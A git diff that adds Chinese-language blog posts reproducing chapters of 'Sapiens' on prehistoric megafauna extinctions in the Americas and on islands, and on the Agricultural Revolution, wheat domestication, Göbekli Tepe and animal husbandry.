+一开始，阿拉斯加和美洲其他地区被冰河隔开，可能顶多只有一两个独立的探险者曾经到过更南边的土地。但到了公元前大约12000年，全球暖化融冰，出现了一条比较容易通过的通道。借由这个新的通道，人类大举南迁，走向整片大陆。虽然他们一开始习惯的是在极地狩猎大型猎物，但他们很快就适应了许许多多不同的气候和生态系统。这些来自西伯利亚的后裔定居到现在的美国东部、密西西比河三角洲的沼泽、墨西哥沙漠，还有中美洲的热带丛林。有些人到了亚马孙河流域落地生根，也有的定居在安第斯山谷，或是阿根廷开阔的彭巴斯大草原。而且，这一切不过是短短一两千年间的事！等到公元前10000年，人类已经来到了美洲大陆最南端的火地岛，他们能在美洲这样如同闪电战一般横行无阻，正证明了智人已有无与伦比的聪明才智和适应能力。在这之前，没有任何其他动物能够在基因几乎毫无改变的情况下，这样快速地迁移到如此大不相同的环境当中。22 +来到美洲的智人，绝非什么善男信女，他们造成了血流成河的景象，受害者多不胜数。在14000年前，美洲的动物物种远比今天丰富。智人首次从阿拉斯加南下，来到加拿大的平原和美国西部时，除了会遇上长毛象和乳齿象，还会有像熊一样大小的啮齿动物，一群又一群的马和骆驼，巨型的狮子，还有其他数十种类似的巨型动物，但现在都已全部绝迹；其中像是有可怕的剑齿虎，还有重达8吨、高达6米的巨型地懒。至于南美更令人目不暇给，各种大型哺乳动物、爬行动物和鸟类，让人仿佛置身于奇特非常的动物园。整个美洲曾经就像是个演化的巨大实验室，各种在亚非大陆上未曾得见的动植物都在此繁衍茁壮。 +可惜好景不再。智人抵达后不过两千年的时间，大多数这些独特的物种就全部惨遭毒手。根据目前的估计，就在这短短的时间里，北美原本有足足47属的各类大型哺乳动物，但其中34属已经消失；南美更是在60属之中失去了50属。像是剑齿虎，原本活跃了超过3000万年，却几乎在瞬间灭绝，其他像是巨型地懒、巨型狮子、美洲的本土马和本土骆驼、巨型啮齿动物和长毛象，也都未能幸免。另外，还有成千上万的小型哺乳动物、爬行动物、鸟类，甚至昆虫和寄生虫，也同样惨遭灭绝（像是在长毛象绝种之后，各个物种的长毛象蜱自然只能共赴黄泉）。 +几十年来，古生物学家和动物考古学家（研究动物遗骨的学者）在全美洲平原和山区四处探访，寻找远古骆驼的骨骼化石和巨型地懒的粪便化石等等。每当有发现，这些珍贵的宝物就会经过仔细包装送至实验室，仔细研究每一根骨头、每一块粪化石（coprolite，没想到这也有专有名词吧！）。一次又一次，这些分析都指向相同的结果：与目前年代最接近的粪球或骆驼骨骼，大概就是人类如洪水般席卷美洲那段期间，也就是大约公元前12000年到公元前9000年。只有在唯一一个地方，科学家还能找到更晚近的粪球：在加勒比海的几个岛上，特别是古巴岛和伊斯帕尼奥拉岛，有些地懒的粪便约是公元前5000年的。但这也正是人类第一次成功越过加勒比海抵达这两座大岛的时间。 +同样，有些学者还是试着为智人找借口，认为这一切都是气候变迁所造成（但他们就得好好解释，是什么神秘的原因，才让整个西半球气候暖化的时候，加勒比海群岛的气候却能硬生生再稳定了7000年）。然而就美洲而言，这可说是铁证如山。我们人类就是罪魁祸首，这点绝对无法回避。就算气候变迁也助纣为虐，但人类无疑是整起案件的主谋。23 +诺亚方舟 +如果我们把在澳大利亚和美洲发生的生物大灭绝合起来计算，再加入智人在亚非大陆上扩张时所造成的小规模物种灭绝（像是其他人类物种的绝迹），还有远古采集者来到偏远岛屿（如古巴）带来的物种灭绝，可能的结论只有一个：智人的第一波殖民正是整个动物界最大也最快速的一场生态浩劫。其中受创最深的是那些大型、毛茸茸的动物。在认知革命发生的时候，地球上大约有200属体重超过50公斤的大型陆生哺乳动物。而等到农业革命的时候，只剩下大约100属。换句话说，甚至远在人类还没有发明轮子、文字和铁器之前，智人就已经让全球大约一半的大型兽类魂归西天、就此灭绝。 +而在农业革命之后，这种生态浩劫还要经过无数次小规模再次重演。在一座又一座岛屿上发掘的考古证据，都看到同一出悲剧一再上演。在这出剧的第一幕，充满着丰富多样的大型动物族群，而没有任何人类的足迹。第二幕，我们看到一具人骨、一个矛头或是一片陶片，告诉我们智人来到此地。剧情很快来到第三幕，舞台中心只剩下人类的男男女女，而多数的大型动物以及许多小型动物，都已经黯然退场。 +距离东非大陆约400公里有一个大岛：马达加斯加。这里有一个著名的例子。岛上的物种经过数百万年的隔离，展现出独一无二的风貌，像是象鸟，高3米、重约半吨而无法飞翔，这是全球最大的鸟类，另外还有巨狐猴，这是全球最大的灵长类动物。但在大约1500年前，象鸟、巨狐猴以及马达加斯加岛上多数的大型动物都突然消失，而这正是人类第一次踏上马达加斯加的时间。 +在太平洋，大约在公元前1500年开始了一波物种灭绝的浪潮，当时源自中国台湾的波利尼西亚农人开始移居到所罗门群岛、斐济和新喀里多尼亚，直接或间接造成数以百计的鸟类、昆虫、蜗牛和其他当地物种的灭绝。自此，这股生物灭绝的浪潮又逐渐向东、向南、向北席卷，侵入太平洋的心脏地带，种种特殊的动物群惨遭毒手，受害地区包括萨摩亚和东加（公元前1200年）、马奎萨斯群岛（公元1年）、复活节岛、库克群岛、夏威夷（公元500年），最后来到新西兰（公元1200年）。 +在大西洋、印度洋、北冰洋和地中海星罗棋布的数千座岛屿几乎无一幸免，都惨遭类似的生态浩劫。甚至在最小的岛屿上，考古学家都发现曾有鸟类、昆虫和蜗牛在那生活无数世代，但在人类第一次出现后便就此消失。只有极少数极度偏远的岛屿，直到现代才被人类发现，于是岛上的动物群还能幸存。其中一个有名的例子就是加拉巴哥群岛（Galapagos Islands），在19世纪前仍无人居住，因而保持了独特的动物群，像是岛上的巨龟也像古代的双门齿兽一样，对人类毫无畏惧。 +第一波的灭绝浪潮是由于采集者的扩张，接着第二波灭绝浪潮则是因为农民的扩张；这些教训，让我们得以从一个重要观点来看今日的第三波灭绝浪潮：由工业活动所造成的物种灭绝。有些环保人士声称我们的祖先总是和自然和谐相处，但可别真的这么相信。早在工业革命之前，智人就是造成最多动植物绝种的元凶。人类可以说坐上了生物学有史以来最致命物种的宝座。 +或许，如果有更多人了解了第一波和第二波物种灭绝浪潮，就不会对现在自身所处的第三波浪潮如此漠不关心。如果我们知道自己已经害死了多少物种，就会更积极保护那些现在还幸存的物种。这一点对于海洋中的大型生物来说更是如此。与陆地上的大型动物相较，大型海洋生物受到认知革命和农业革命的影响相对较小。然而，因为工业污染和过度滥用海洋资源，许多海洋生物都已经濒临绝种。事情再这样发展下去，很快鲸鱼、鲨鱼、鲔鱼和海豚也会走上和双门齿兽、地懒、长毛象一样灭绝的道路。对全世界上所有的大型动物来说，这场人类洪水的唯一幸存者可能只剩下人类自己，还有其他登上诺亚方舟但只作为人类盘中佳肴的家禽家畜。 diff --git a/_posts/2017-01-06-197-sapiens-cp05.md b/_posts/2017-01-06-197-sapiens-cp05.md new file mode 100644 index 0000000..5c9c4ae --- /dev/null +++ b/_posts/2017-01-06-197-sapiens-cp05.md @@ -0,0 +1,80 @@ +--- +layout: post +title: 第五章史上最大骗局 +pid: 197 +tags: [人类简史：从动物到上帝] +--- +第二部分 +农业革命 +图9 大约3500年前的埃及墓穴壁画，描绘典型的农业景象。 +第五章 +史上最大骗局 +人类曾有长达250万年的时间靠采集及狩猎维生，并不会特别干预动植物的生长情形。直立人、匠人或是尼安德特人都会采集野无花果、猎捕野绵羊，但不会去管究竟无花果树该长在哪，羊该在哪片草地吃草，又或是哪只公羊该跟母羊交配。虽然智人从东非来到中东、欧洲、亚洲，最后到了澳大利亚和美洲，但不管他们到了什么地方，仍然就是靠野生的动植物维生。毕竟，如果现在的生活方式就吃得饱，社会结构、宗教信仰、政治情况也都稳定多元，何必自找麻烦改来改去？ +这一切在大约1万年前全然改观，人类开始投入几乎全部的心力，操纵着几种动植物的生命。从日升到日落，人类忙着播种、浇水、除草、牧羊，一心以为这样就能得到更多的水果、谷物和肉类。这是一场关于人类生活方式的革命：农业革命。 +从采集走向农业的转变，始于大约公元前9500年~公元前8500年，发源于土耳其东南部、伊朗西部和地中海东部的丘陵地带。这场改变一开始速度缓慢，地区也有限。小麦与山羊驯化成为农作物和家畜的时间大约是在公元前9000年，豌豆和小扁豆约在公元前8000年，橄榄树在公元前5000年，马在公元前4000年，葡萄则是在公元前3500年。至于骆驼和腰果等其他动植物驯化的时间还要更晚，但不论如何，到了公元前3500年，主要一波驯化的热潮已经结束。即使到了今天，虽然人类有着种种先进科技，但食物热量超过90%的来源仍然是来自人类祖先在公元前9500年到公元前3500年间驯化的植物：小麦、稻米、玉米、马铃薯、小米和大麦。在过去2000年间，人类并没有驯化什么特别值得一提的动植物。可以说，人到现代还有着远古狩猎采集者的心，以及远古农民的胃。 +学者曾经以为农业就是起源于中东，再传布到全球各地，但现在则认为农业是同时间在各地独自发展而开花结果，而不是由中东的农民传到世界各地。中美洲人驯化了玉米和豆类，但不知道中东人种了小麦和豌豆。南美人学会如何栽培马铃薯和驯养骆马，但也不知道在墨西哥或地中海东部又发生了什么事。中国最早驯化的是稻米、小米和猪。北美最早的农夫，也是因为懒得再在树丛里四处寻找南瓜，决定干脆自己种。新几内亚驯化了甘蔗和香蕉，西非农民也驯化了小米、非洲稻、高粱和小麦。就从这些最早的出发点，农业开始往四方远播。到了公元1世纪，全球大多数地区的绝大多数人口都从事农业。 +为什么农业革命发生在中东、中国和中美洲，而不是澳大利亚、阿拉斯加或南非？原因很简单：大部分的动植物其实无法驯化。虽然智人能挖出美味的松露、猎杀毛茸茸的长毛象，但真菌太难捉摸，巨兽又太过凶猛，于是想自己种或自己养真是难上加难。在我们远古祖先所狩猎采集的成千上万物种中，适合农牧的只有极少数几种。这几种物种只生长在特定的地方，而这些地方也正是农业革命的起源地。 +地图2 农业革命的时间和地点。这项资料尚未定案，地图也不断依最新的考古发现更新中。24 +* * * +学者曾宣称农业革命是人类的大跃进，是由人类脑力所推动的进步故事。他们说演化让人越来越聪明，解开了大自然的秘密，于是能够驯化绵羊、种植小麦。等到这件事发生，人类就开开心心地放弃了狩猎采集的艰苦、危险、简陋，安定下来，享受农民愉快而饱足的生活。 +这个故事只是幻想。并没有任何证据显示人类越来越聪明。早在农业革命之前，采集者就已经对大自然的秘密了然于胸，毕竟为了活命，他们不得不非常了解自己所猎杀的动物、所采集的食物。农业革命所带来的非但不是轻松生活的新时代，反而让农民过着比采集者更辛苦、更不满足的生活。狩猎采集者的生活其实更为丰富多变，也比较少会碰上饥饿和疾病的威胁。确实，农业革命让人类的食物总量增加，但量的增加并不代表吃得更好、过得更悠闲，反而只是造成人口爆炸，而且产生一群养尊处优、娇生惯养的精英分子。普遍来说，农民的工作要比采集者更辛苦，而且到头来的饮食还要更糟。农业革命可说是史上最大的一桩骗局。 +谁该负责？这背后的主谋，既不是国王，不是牧师，也不是商人。真正的主要嫌疑人，就是那极少数的植物物种，其中包括小麦、稻米和马铃薯。人类以为自己驯化了植物，但其实是植物驯化了智人。 +如果我们用小麦的观点来看看农业革命这件事，在1万年前，小麦也不过就是许多野草当中的一种，只出现在中东一个很小的地区。但就在短短1000年内，小麦突然就传遍了世界各地。生存和繁衍正是最基本的演化标准，而根据这个标准，小麦可以说是地球史上最成功的植物。以北美大平原为例，1万年前完全没有小麦的身影，但现在却有大片麦田波浪起伏，几百公里内完全没有其他植物。小麦在全球总共占据大约225万平方公里的地表面积，快有英国的10倍大小。究竟，这种野草是怎么从无足轻重变成无所不在？ +小麦的秘诀就在于操纵智人、为其所用。智人这种猿类，原本靠着狩猎和采集过着颇为舒适的生活，直到大约1万年前，才开始投入越来越多的精力来培育小麦。而在接下来的几千年间，全球许多地方的人类都开始种起小麦，从早到晚只忙这件事就已经焦头烂额。种小麦可不容易，照顾起来处处麻烦。第一，小麦不喜欢大小石头，所以智人得把田地里的石头捡干净搬出去，搞得腰酸背痛。第二，小麦不喜欢与其他植物分享空间、水和养分，所以我们看到男男女女在烈日下整天除草。第三，小麦会得病，所以智人得帮忙驱虫防病。第四，不论是蝗虫还是兔子，都不排斥饱尝一顿小麦大餐，但小麦完全无力抵抗，所以农民又不得不守卫保护。最后，小麦会渴，所以人类得从涌泉或溪流大老远把水引来，为它止渴；小麦也会饿，所以智人甚至得收集动物粪便，用来滋养小麦生长的土地。 +智人的身体演化目的并不是为了从事这些活动，我们适应的活动是爬爬果树、追追瞪羚，而不是弯腰清石块、努力挑水桶。于是，人类的脊椎、膝盖、脖子和脚底就得付出代价。研究古代骨骼发现，人类进到农业时代后出现了大量疾病，例如椎间盘突出、关节炎和疝气。此外，新的农业活动得花上大把时间，人类就只能被迫永久定居在麦田旁边。这彻底改变了人类的生活方式。其实不是我们驯化了小麦，而是小麦驯化了我们。“驯化”（domesticate）一词来自拉丁文“domus”，意思就是“房子”。但现在关在房子里的可不是小麦，而是智人。 +小麦究竟做了什么，才让智人放弃了本来很不错的生活，换成另一种悲惨的生活方式？它提供了什么报酬？就智人的饮食来说，其实并没有更好。别忘了，人类原本就是种杂食的猿类，吃的是各式各样的食物。在农业革命之前，谷物不过是人类饮食的一小部分罢了。而且，以谷物为主的食物不仅矿物质和维生素含量不足、难以消化，还对牙齿和牙龈大大有害。 +而就民生经济而言，小麦也并未带来经济安全。比起狩猎采集者，农民的生活其实比较没保障。采集者有几十种不同的食物能够维生，就算没有存粮，遇到荒年也不用担心饿死。即使某物种数量减少，只要其他物种多采一点、多猎一些，就能补足所需的量。然而，一直到最近为止，农业社会绝大多数饮食靠的还是寥寥无几的少数几种农业作物，很多地区甚至只有一种主食，例如小麦、马铃薯或稻米。所以，如果缺水、来了蝗灾又或是爆发真菌感染，贫农死亡人数甚至有可能达到百万。 +再就人类暴力而言，小麦也没办法提供人身安全。农业时代早期的农民，性格并不见得比过去的采集者温和，甚至还可能更暴力。毕竟现在他们的个人财产变多，而且还需要土地才能耕作。如果被附近的人抢了土地，就可能从温饱的天堂掉进饥饿的地狱，所以在土地这件事上几乎没有妥协的余地。过去，如果采集者的部落遇到比较强的对手，只要撤退搬家就能解决。虽然说有些困难和危险，但至少是个可行的选项。但如果是农民遇到了强敌，撤退就代表着得放弃田地、房屋和存粮。很多时候这几乎就注定了饿死一途。因此，农民常常得死守田地，双方拼个你死我活。 +许多人类学和考古研究显示，在只有基本的村庄和部落政治结构的农业社会中，人类暴力行为造成15%的总死亡数，而在男性之间则是25%。现在的新几内亚还有达尼（Dani）和恩加（Enga）两个农业部落社会，暴力造成男性死亡所占百分率分别是30%和35%。而在厄瓜多尔的瓦拉尼人（Waorani），成年人甚至约有50%会死在另一个人的暴力行为之下！25慢慢地，人类发展出进阶的社会结构，如城市、王国、国家，于是人类的暴力也得到了控制。不过，这样庞大而有效的政治结构可是足足花了数千年，才终于建立起来。 +当然，农村生活确实为第一代农民带来了一些直接的利益，像是比较不需要担心野兽袭击、风吹雨淋，但对一般人来说，可能其实弊大于利。现代社会繁荣富庶，可能我们很难理解弊处何在，毕竟这一切的富裕和安全都是建立在农业革命之上，所以我们也就觉得农业革命真是个美妙的进步。然而，我们不能光用今天的观点来看这几千年的历史。一个更具代表性的观点，可能是1世纪汉代某个女孩因为家里的农作物歉收而饿死。她会不会说：“虽然我饿死了，但我知道在两千多年后，人类能够吃喝不尽，住在有空调的豪宅里，所以我的牺牲也都值得了？” +对于那个营养不良的汉代女孩或是所有农民来说，小麦究竟给了他们什么？对于个人来说，小麦根本算不上给了什么。但对于智人这个物种整体来说，小麦的影响就十分深远。种植小麦，每单位土地就能提供更多食物，于是智人的数量也呈指数成长。大约在公元前13000年，人类还靠采集和狩猎维生的时候，巴勒斯坦的杰里科（Jericho）绿洲一带，大概可以养活一个有百名成员的采集部落，而且人们相对健康、营养充足。到了大约公元前8500年，野生植物的荒野成了片片麦田，这片绿洲这时养活了约有千人的农村，但人口密度也因此增大，而且成员染病及营养不良的情形要比过去严重太多。 +如果要衡量某种物种演化成功与否，评断标准就在于世界上其DNA螺旋的拷贝数的多寡。这很类似于货币的概念，就像今天如果要说某家公司行不行，我们看的是它的市值有多少钱，而不是它的员工开不开心；物种的演化成功，看的就是这个物种DNA拷贝数在世界上的多寡。如果世界上不再有某物种的DNA拷贝，就代表该物种已经绝种，也等于公司没有钱而宣告倒闭。而如果某个物种还有许多个体带着它的DNA拷贝存在这个世上，就代表着这个物种演化成功、欣欣向荣。从这种角度看来，1000份DNA拷贝永远都强过100份。这正是农业革命真正的本质：让更多的人却以更糟的状况活下去。 +但是，身为个人，为什么要管这种演化问题？如果有人说，为了“增加智人基因组在世界上的拷贝数”，希望你降低自己的生活水平，你会同意吗？没有人会同意这笔交易。简单说来，农业革命就是一个陷阱。 +奢侈生活的陷阱 +农业的兴起并非一夜之间，而是历时数千数百年的缓慢过程。过去，智人部落的生活就是采集蘑菇和坚果、猎捕野鹿和野兔，他们不可能一下子就决定定居、不再搬迁，而开始耕田、种小麦、从河里挑水。这种改变分阶段进行，每次只是改变日常生活中的一小部分。 +在大约7万年前，智人到达了中东。而在接下来的5万年间，智人在那里不用什么农业也能顺利繁衍。光是当地的天然资源，就足以养活这些人口。资源多的时候，孩子就多生几个；资源少了，就少生几个。人类就像许多哺乳动物一样，自然有荷尔蒙和遗传机制来控制生育数。营养充足的时候，女性比较早进入青春期，成功怀孕的概率也比较高。而在土地贫瘠、营养不足的时候，女性进入青春期要来得晚，生育能力也下降。 + +人口管制除了以上这些自然机制之外，还有文化机制。对于四处迁移的采集者来说，婴儿和幼童行动迟缓、需要额外照顾，会造成负担。所以，当时每个子女至少会相隔三到四岁。而女性能控制这点的方式，靠的就是一天24小时都待在孩子旁边照顾着，直到孩子大一点为止（毕竟没多久就得哺乳一次，男人想来干些什么也不太方便，于是可以大幅减少怀孕的机会）。至于其他方法，还包括完全或部分禁欲（有些还用文化禁忌来支持这种做法）、人工流产，偶尔还有杀婴。26 +在这漫长的数千年间，人类偶尔会吃吃小麦，但绝非以它为主食。而在大约18000年前，最后一个冰河时代结束，全球气候变暖。随着气温上升，降雨也增多。在中东，这种新气候非常适合小麦和其他谷物生长，于是这些作物也繁衍蓬勃。人类的小麦食用量开始增加，并且在不经意间助长了小麦的生长。当时采集到野生谷类，必须先筛一筛、磨一磨，再煮过之后才能食用；正因如此，人类采集这些谷物之后，要带回他们居住的临时地点来处理。小麦种籽粒小而多，在送回部落的途中必然会有一些掉到地上。慢慢地，人类最常走的路径附近或是居住营地的周围也就长起了越来越多的小麦。 +甚至，人类放火烧毁森林和灌木丛的时候，等于帮了小麦一把。大火清掉了树木和灌木，于是小麦和其他草类就能独占阳光、水和养分。在小麦生长特别茂盛的地方，猎物和其他食物来源也丰富，于是人类部落逐渐能够放弃四处流浪的生活方式，在某地住上一个季节，甚至就形成永久聚落。 +一开始，他们可能待上大约四个星期来收获小麦。等到过了一个世代，小麦数量和面积大增，于是他们得待上五个星期，接着就是六个星期、七个星期，最后终于形成永久的村落。在整个中东地区，都能够发现这种定居下来的证据，特别是在黎凡特地区（Levant，指地中海东部沿岸及岛屿）更是常见。从公元前12500年到公元前9500年，黎凡特曾有十分兴盛的纳图芬（Natufian）文化，纳图芬人属于狩猎采集者，以数十种野生物种维生，但永久定居在村落里，大部分的时间都在辛勤采集、研磨各种野生谷物。他们会盖起石造的房舍和谷仓，储存粮食以备不时之需，还会发明新的工具，像是发明石镰刀收割野生小麦，再发明石杵和石臼来加以研磨。 +而在公元前9500年之后，纳图芬人的后代除了继续采集和研磨谷物，还开始以越来越精细的手法来培养种植。采集野生谷物的时候，他们会小心留下一部分，作为下一季播种之用。他们也发现，播种的时候如果把种子深深埋到地下，而不是随便撒在地面，效果会好很多。于是，他们开始犁地整地，也一步步开始除草、防虫、浇水、施肥。随着越来越多的心力时间都用来种谷物，采集和狩猎的时间也就被挤压。于是，采集者逐渐变成了农民。 +然而，从采集的野生小麦变成种植驯化的小麦之间并没有一个特定的分界点，所以很难断定人类究竟是什么时候进入了农业时代。但是，到了公元前8500年，中东已经四处散布着像是杰里科这种永久村落，村民大部分的时间就是种植培育着少数几种驯化后的物种。 +随着人类开始住进永久村落、粮食供给增加，人口也开始增长。放弃过去流浪的生活之后，女性也可以每年都生孩子了。而这时婴儿也较早断奶，而以粥来代替。毕竟田里需要人手，妈妈得赶快回到农活。然而，人口一多，就耗去了原本的粮食剩余，于是耕种面积又得加大。这时，因为人类开始定居在易有疾病肆虐的聚落，孩子吃母乳的比率越来越少，吃谷类则越来越多，再加上得要共享这些粥的兄弟姐妹也越来越多，让儿童死亡率一路飙升。在大多数的远古农业社会里，至少1/3的儿童无法长到二十岁成人。27然而，人口出生的速度仍然大于死亡速度，人类养育子女的数字也居高不下。 +随着时间过去，种麦子这个原本看来划算的选择，变成越来越沉重的负担。儿童大批死亡，而成人也得忙得满头大汗，才能换得面包。公元前8500年杰里科人过的生活，平均来说要比公元前9500年或公元前13000年更为辛苦。但没有人发现究竟发生了什么事。每一代人都只是继续着上一代生活的方式，在这里修一点，那里改一些。但矛盾的是，一连串为了让生活更轻松的“进步”，最后却像是在这些农民的身上加了一道又一道沉重的枷锁。 +为什么人类会犯下如此致命的误判？其实人类在历史上一直不断重蹈覆辙，道理都相同：因为我们无法真正了解各种决定最后的结果。每次人类决定多做一点事（像是用锄头来耕地，而不是直接把种子撒在地上），我们总是想：“没错，这样是得多做点事。不过收成会好得多！就再也不用担心荒年的问题了。孩子也永远不用挨饿入睡。”确实这也有道理。工作努力辛苦一些，生活也就能过得好一点。不过，这只是理想的状况。 +计划的第一部分进行得很顺利。人们确实工作得更努力也更辛苦。但大家没想到孩子的数量也多了，于是多出的小麦也就有更多小孩要分。这些远古的农民也没想到，母乳喂得少了，粥喂得多了，就让孩子的免疫系统下降，而且永久聚落也成了疾病传染的温床。他们也没有预见到，由于增加了对单一食物来源的依赖，实际上他们使自己更容易受到旱灾的威胁。这些农民还没想到，丰收年他们粮仓满满，却会引来盗贼和敌人，迫使他们得筑起高墙、严加警戒。 +这样一来，发现苗头不对，为什么他们不赶快放弃农耕，回到采集生活？部分原因在于，所有改变都必须点点滴滴累积，经过许多代的时间，才能够改变社会；等到那个时候，已经没有人记得过去曾经有不同的生活方式可选了。另一部分，是因为人口增长就像是破釜沉舟。一旦采用农耕之后，村落的人口从100人成长到110人，难道会有10个人自愿挨饿，好让其他人可以回到过去的美好时光？这已经再无回头路。人类发现时，已经深陷陷阱、无法自拔。 +于是，种种想让生活变得轻松的努力，反而给人带来无穷的麻烦；而且这可不是史上的最后一次。就算今天，仍然如此。有多少年轻的大学毕业生投身大企业、从事各种劳心劳力的工作，发誓要努力赚钱，好在35岁就退休，去从事他们真正有兴趣的事业？但等他们到了35岁，却发现自己背着巨额贷款，要付子女的学费，要养在高级住宅区的豪宅，每家得有两部车，而且觉得生活里不能没有高级红酒和国外的假期。他们该怎么做？他们会放下一切，回去野外采果子挖树根吗？当然不可能，而是加倍努力，继续把自己累得半死。 +奢侈品史上常有这样的情况，就是原本的奢侈品往往最后会成为必需品，而且带来新的义务。等到习惯某种奢侈品，就开始认为这是天经地义。接着就是一种依赖。最后，生活中就再也不能没有这种奢侈品了。让我们用现代大家都熟悉的例子来解释。在过去的几十年里，我们有许多本该会让生活轻松省时又如意的发明，像是洗衣机、吸尘器、洗碗机、电话、手机、计算机、电子邮件等等。在以前，寄信是件麻烦事，得亲手动笔、写信封、贴邮票，还得再走到邮筒那里去寄。想得到回信，可能得等上几天、几星期，甚至是几个月。至于现在，我可以随手就寄一封电子邮件，传送到地球的另一边，而且如果收件人在线，可能只要一分钟就能收到回信了。我确实省下了所有麻烦和时间，但生活真的更轻松了吗？ +可惜事与愿违。在传统信件的年代，我们通常只有最重要、不得不联络的事才会写信。写起信来也不是想起什么就写什么，而是字斟句酌、考虑再三。而且，通常对方的回信也会同样慎重。对大多数人来说，每个月来来去去的信顶多就是几封，也不会有人急于立刻回复。但在今天，我每天都会收到几十封电子邮件，而且所有人都希望你立刻响应。我们以为自己省下了时间；然而，我们其实是把生活的步调加速成过去的十倍快，于是我们整天忙忙碌碌、焦躁不安。 +三不五时，总有些反对提高机械化和自动化的勒德分子（Luddite）坚持不用电子邮件，就像几千年前，也有某些人类部落拒绝农业，所以躲过了奢侈生活的陷阱。然而，农业革命要成功，并不需要某个地区的所有部落都无异议通过。一切都只从“一个部落”开始。不论是在中东还是中美洲，只要有一个部落定居下来、开始耕作，走向农业的趋势就已经无法抗拒。由于农业可促成人口迅速增长，通常农业部落光靠人数就已经大胜采集部落。这时，采集部落只剩两种选择，第一是逃跑，放任自己的猎场成为农场和牧场；第二就是拿起锄头，自己加入农业的行列。无论哪种选择，都代表旧的生活方式注定将要凋零。 +这个关于奢侈生活陷阱的故事，告诉我们一个重要的教训。人类一心追求更轻松的生活，于是释放出一股巨大的力量，改变了世界的面貌，但结果并没有任何人料想得到，甚至也不是任何人所乐见的。并没有人在背后操纵农业革命发生，或是意图让人依赖谷类维生。一开始只是各种小事，主要就是希望吃饱一点、生活安全一点，但最后累积引起的效应，就是让远古的采集者开始花上整天的时间，在烈日之下挑水务农。 +神圣的干预 +以上这种讲法，认为农业革命就是判断错误的结果。确实有可能，毕竟历史上还满是错得更离谱的例子。不过也还有另一种可能性。或许我们远古祖先的出发点并不是为了要让生活轻松点？或许智人是有其他的目标，所以自愿过得辛苦一点，好实现这些目标？ +讲到历史发展，科学家常常会归咎于某些冷冰冰的经济和人口因素，毕竟这和他们理性、数学的思考方法比较合拍。但讲到现代历史的时候，因为有大量的书面证据，所以学者不得不考虑非物质的因素，例如意识形态和文化。像我们有足够的文件、书信、回忆录，证明第二次世界大战的原因并非粮食短缺或人口压力。然而，像纳图芬文化并未留下任何文献档案，所以讲到远古时代，唯物主义学派说话总是比较大声。对于这些文字出现前的时代，就算我们认为这些人行事的原因是出于信仰而非经济所需，实在也很难证明。 +然而，我们很幸运地在极少数的案例中找到极有力的线索。1995年，考古学家开始挖掘位于土耳其东南部的哥贝克力石阵（G?bekli Tepe）。在这最古老的地层里，他们找到的不是聚落、房舍或日常活动的迹象，而是雄伟的石柱结构，它们雕饰华美、令人惊叹。这里每根石柱重达7吨、高5米。在附近的一个采石场，甚至还发现了一根尚未完工的石柱，重达50吨。全部加起来，总共有十多个遗迹结构，规模最大的宽度近30米。 +图10 左：哥贝克力石阵的巨大遗迹结构。右：其中一根雕刻石柱（高约5米）。 +全球各地都有这样令人惊叹的遗迹结构，最著名的是英国的巨石阵（Stonehenge），但哥贝克力石阵有一点特别惊人。巨石阵的年代约是公元前2500年，是由一个已经相当发达的农业社会所建造。但哥贝克力石阵的年代约是公元前9500年，所有证据都显示，它是由狩猎采集者建造而成。一开始，考古学界觉得这简直是天方夜谭，但经过一次又一次检视之后，无论是这个结构的年代，还是建造者尚未进入农耕社会，都是毋庸置疑的。看起来，过去我们对于远古采集者的能力和他们文化的复杂程度，都是严重低估。 +为什么采集社会想兴建这样的结构？这种结构看来并没有什么实质用途，既不是大型屠宰场，也没办法用来避雨或躲狮子。所以，我们只能推论这是为了某种神秘的文化目的，而考古学家到现在也还在伤脑筋。不论用途为何，都能肯定采集者愿意为它花上大把的时间和精力。想要盖起哥贝克力石阵，必然需要集合数千位来自不同部落的采集者，长时间通力合作才能完成。而如果背后没有成熟的宗教或意识形态系统，就万万不可能做到。 +哥贝克力石阵还有另一件耸人听闻的秘密。多年以来，基因学家一直想找出驯化小麦的起源。最近的发现显示，至少有一种驯化的小麦就起源于附近的喀拉卡达山脉（Kara?adag），距离哥贝克力石阵只有30公里远。28 +这几乎不可能只是巧合。很有可能，哥贝克力石阵的文化中心就与人类首次驯化小麦（或小麦驯化人类）有着某种关联。养活建造和使用这些巨型结构的人，需要非常大量的食物。所以，采集者之所以从采集野生小麦转而自行种植小麦，可能并不是为了增加日常食物供应，而是为了支持某种神庙的建筑和运作。在传统的想象中，人是先建立起村落，接着等到村落繁荣之后，再在村落中心盖起信仰中心。但哥贝克力石阵显示，很有可能其实是先建立起信仰中心，之后才围绕着它形成村子。 +革命的受害者 +浮士德跟魔鬼交易，人类则跟谷类交易。但人类做的交易不只这一项，另一项则是和绵羊、山羊、猪、鸡之类的动物命运有关。过去四处流浪的采集部落会跟踪猎杀野绵羊，也逐渐改变了羊群的组成。第一步可能是开始挑选猎物。人类发现，如果猎杀的时候只挑成年公羊或是年老生病的羊只，对人类来说反而有利。放过有繁殖能力的母羊和年轻的小羔羊，当地羊群就可长可久。至于第二步，可能是积极赶走狮子、狼和敌对的人类，保护羊群不受掠食者侵扰。第三步可能就是将羊群赶到某个狭窄的峡谷，方便控制和保护。最后一步，就是在羊群当中做出更谨慎的挑选，好符合人类的需要。其中，最具侵略性的公羊是人类想控制羊群最大的阻力，所以第一个就宰它们。至于瘦小或是太有好奇心的母羊也是除之而后快。（太有好奇心，就容易走得离羊群远远的，对牧羊人来说可不是好事。）于是，一代一代下去，绵羊也就越变越胖，越来越温和，也越来越不那么好奇了。就是这样，英文才会有首童谣，唱着玛莉有只小绵羊，而且玛莉去哪它就跟到哪。 +另外一种可能，则是猎人一开始是抓住一只羔羊来“收养”一下，在食物无虞的时候养个几个月，等到比较没食物的季节就宰来吃。等到了某个阶段，这种先养再杀的规模开始越来越大，有些羊甚至被养到进入青春期，开始生出小羊来。那些生下来之后最具侵略性、不听话的，就会先遭到宰杀。至于最乖、最听话的羊，则被饶下小命，继续再生小羊。结果一样就是有了一群驯化、温顺的羊。 +这样经过驯化的家畜（羊、鸡、驴等等）能够为人类提供食物（肉、奶、蛋）、原料（皮、毛），以及兽力。于是，以前必须由人自己来做的工作（像是搬运、翻地、磨谷物等等），许多都开始交给了其他动物。在大多数的农业社会里，人类的第一重点是种植农作物，第二才是饲养动物。但是有些地方也出现了一种新型的社会，主要就是靠着剥削利用其他动物为生：游牧部落。 